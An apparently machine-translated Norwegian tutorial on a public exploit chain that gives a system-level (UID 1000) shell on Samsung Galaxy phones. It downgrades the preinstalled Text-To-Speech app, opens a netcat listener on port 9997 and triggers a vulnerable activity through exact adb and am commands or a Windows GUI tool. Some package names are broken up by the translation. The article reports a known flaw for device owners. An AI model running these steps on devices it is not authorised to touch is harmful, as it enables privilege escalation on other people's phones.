Hvordan få tilgang til systemskall på hvilken som helst Samsung Galaxy-enhet

click fraud protection

Hurtigkoblinger

  • Forutsetninger
  • Hvordan utnytte en hvilken som helst Samsung Galaxy-enhet for å få tilgang til systemskallet
  • Bekreftelse
  • Konklusjon

Den første mandagen i hver måned publiserer Google Android sikkerhetsbulletin. Den avslører alle de begrensede sikkerhetssårbarhetene på tvers av ulike komponenter i Android OS samt Linux-kjernen og deres oppdateringer sendt av Google selv eller andre tredjeparter til det Dato. Store OEM-er som Samsung har sin egen versjon av Android, så de velger å rulle sine egne patcher og oppdateringer inn i sikkerhetsoppdateringer også.

Med det sagt er det ganske vanskelig å ta vare på hvert smutthull. Det finnes en mengde angrepsvektorer, og noen ganger kan du lage din egen utnyttelseskjede basert på en tidligere kjent sårbarhet bare fordi du har en ny metode for å omgå en av sikkerhetstiltak. Dette er akkurat hva XDA Senior Member K0mraid3 gjorde med en fire år gammel sårbarhet, som gjorde at han fikk tilgang til systemskallet på alle Samsung Galaxy-enheter – inkludert de nyeste flaggskipene – der ute. Mens det ikke er det samme som

ha root-privilegier, det er en tilstrekkelig høy lokal privilegieeskalering.

Det primære inngangspunktet for sårbarheten ligger i Samsung Text-To-Speech (pakkenavn: com.samsung. SMT), en forhåndslastet systemapp som finnes på alle Samsung Galaxy-enheter. Tanken er å nedgradere den installerte versjonen av appen til en spesifikk sårbar versjon (v3.0.02.2 for å være presis), og deretter tvinge den til å laste et bibliotek, som igjen åpner et skall med systemprivilegium (UID 1000).

Hvis du vil lære mer om utnyttelsen, sørg for å sjekke ut XDA Lead Technical Editor Adam Conways forklaring. Han snakket med K0mraid3 for å forstå hele omfanget av denne utnyttelsen og hvordan den fungerer.

  1. For å gjenta, dette er ikke root-tilgang (UID 0), men systemskalltilgangen er kraftig nok til å kjøre en haug med ellers begrensede binærfiler.
  2. K0mraid3s proof of concept krever en hjelpe-APK, og du må kjøre den minst én gang før du starter utnyttelseskjeden.
  3. Ett brukergrensesnitt, det vil si Samsungs tilpassede Android-skinns innebygde strømsparingsrutiner kan være plagsomme, da de kan hemme kommunikasjonen mellom TTS-appen, hjelper-APK og skallet. Derfor foreslår vi å sette strømsparingsprofilen til "Ubegrenset" for appene på forhånd.

Forutsetninger

  1. Last ned den forhåndskompilerte versjonen av utnyttelsen fra XDA forumtråd eller det offisielle GitHub-depotet lenket nedenfor: K0mraid3s System Shell Exploit
  2. Pakk ut arkivet et sted, og du bør finne den sårbare versjonen av Samsung Text-To-Speech APK (samsungTTSVULN2.apk), hjelpeappen (Komraid3s_POC_Vx.x.apk), og en Windows-kjørbar med navnet systemshell-vx.x.exe.
  3. Sørg for at den nyeste versjonen av ADB er installert på din PC/Mac/Chromebook. Husk også å installer/oppdater Samsung USB-driverne hvis du er en Windows-bruker.

Hvordan utnytte en hvilken som helst Samsung Galaxy-enhet for å få tilgang til systemskallet

Manuell metode

  1. Koble mål Galaxy-enheten til PC-en din med USB-feilsøking slått på, sørg for at den kan oppdages av ADB, og installer deretter hjelpeappen.
    adb install Komraid3s_POC_Vx.x.apk
    • Som nevnt tidligere, åpne hjelpeappen minst én gang før du fortsetter til neste trinn.
  2. Skyv nå den sårbare versjonen av Samsung TTS-appen til /data/local/tmp og endre tillatelsene:
    adb push samsungTTSVULN2.apk /data/local/tmp
    adb shell chmod 777 /data/local/tmp/samsungTTSVULN2.apk
  3. Start enheten på nytt. Så snart du er på startskjermen, kjør følgende kommando for å erstatte den allerede installerte versjonen av Samsung TTS-appen med den sårbare:
    adb shell pm install -r -d -f -g --full --install-reason 3 --enable-rollback /data/local/tmp/samsungTTSVULN2.apk
    • Hvis alt går riktig, bør du se en "Suksess"-melding på konsollen.
  4. Åpne et skall på målenheten ved å åpne et annet terminalvindu og kjøre adb skall, utfør deretter Netcat-binæren, og lytt etter en innkommende tilkobling på 9997-porten med følgende kommando:
    adb shell nc -lp 9997
  5. På dette stadiet må vi utføre en spesifikk aktivitet i Samsung TTS-appen, som åpner systemskallet for oss.
    • Bruk en tredjepartsapp som dette for å lage en snarvei til «com.samsung. SMT/.gui. Nedlastingsliste" aktivitet.
    • Du kan også bruke Androids egen aktivitetsbehandler (am) for å gjøre det samme. I så fall kan du kjøre den via ADB (adb shell am start -n com.samsung. SMT/.gui. DownloadList) eller bruk en terminalemulator-app på telefonen/nettbrettet ditt som Termux og kjør følgende kommando:
      am start -n com.samsung.SMT/.gui.DownloadList
  6. Bytt tilbake til det første skallet, og du bør se en ny ledetekst med systemprivilegium (UID 1000).

Automatisert metode

For å gjøre ting enklere, tilbyr K0mraid3 også en brukervennlig GUI-applikasjon for å automatisere de fleste oppgavene. Husk at GUI-appen er kun for Windows, så hvis du er en Linux/macOS-bruker, er det bedre å holde seg til den manuelle metoden.

  1. Koble mål Galaxy-enheten til PC-en din med USB-feilsøking på, sørg for at den kan oppdages av ADB, og installer deretter hjelpeappen.
    adb install Komraid3s_POC_Vx.x.apk
    • Som nevnt tidligere, åpne hjelpeappen minst én gang før du fortsetter til neste trinn.
  2. Med målenheten synlig av ADB, kjør systemshell-vx.x.exe på verts-PCen.
  3. Klikk på "START SHELL"-knappen. Appen vil automatisk nedgradere Samsung TTS-appen og prøve å åpne systemskallet.
    • På telefonen/nettbrettet kan det hende du ser TTS-appen som ber deg om å laste ned noen taledata. Det er ikke nødvendig å samhandle med disse alternativene, siden de ikke har noe med utnyttelsen å gjøre.
    • I tilfelle appen henger eller ikke klarer å åpne skallvinduet etter en stund, lukk det, start Galaxy-enheten på nytt og start på nytt.
    • Galaxy Store-appen kan automatisk oppdatere og/eller tilbakestille strømsparingsprofilen til TTS-appen i bakgrunnen, så sørg for å sjekke den før du starter prosessen fra bunnen av.

Bekreftelse

Når du har tilgang til skallet, kan du bekrefte rettighetsnivået ved å bruke en av kommandoene nedenfor:

  • whoami
    • Utgangen skal være "system"
  • id -u
    • Utgangen skal være "1000"

Konklusjon

Den typiske måten å oppnå root-tilgang på en Android-enhet er å først låse opp bootloader, som lar deg starte opp tredjeparts binærfiler. Siden Androids sikkerhetsmodell i utgangspunktet faller fra hverandre med root, er dette trinnet med vilje å deaktivere en av de viktigste sikkerhetsfunksjonene på enheten, som er grunnen til at brukeren eksplisitt må tillate det å skje ved vanligvis å aktivere en veksling i utvikleralternativer og deretter utstede en opplåsingskommando til bootloader. Når oppstartslasteren er låst opp, kan brukeren introdusere en superbrukerbinær til systemet og også en superbrukeradministrasjonsapp (som Magisk) for å kontrollere hvilke prosesser som har tilgang til root.

Med system shell-utnyttelsen nevnt ovenfor, trenger imidlertid ikke brukeren å låse opp bootloaderen for å få et eskalert privilegium. Selv om det er langt fra å være root, er "system"-brukeren i stand nok til å få tilgang til en rekke lavnivåpartisjoner (f. som /efs), start ulike service- og feilsøkingsverktøy, og endre mange beskyttede prop-verdier – alt uten å snuble Knox. Disse eksemplene berører bare noen få måter; en ondsinnet aktør kan kombinere dette med andre sårbarheter og komme med mer ondsinnede handlinger.

Vi må vente og se hvordan Google og Samsung takler scenariet. Uansett bør du sannsynligvis deaktivere eller fjerne Samsung Text-To-Speech-appen inntil videre.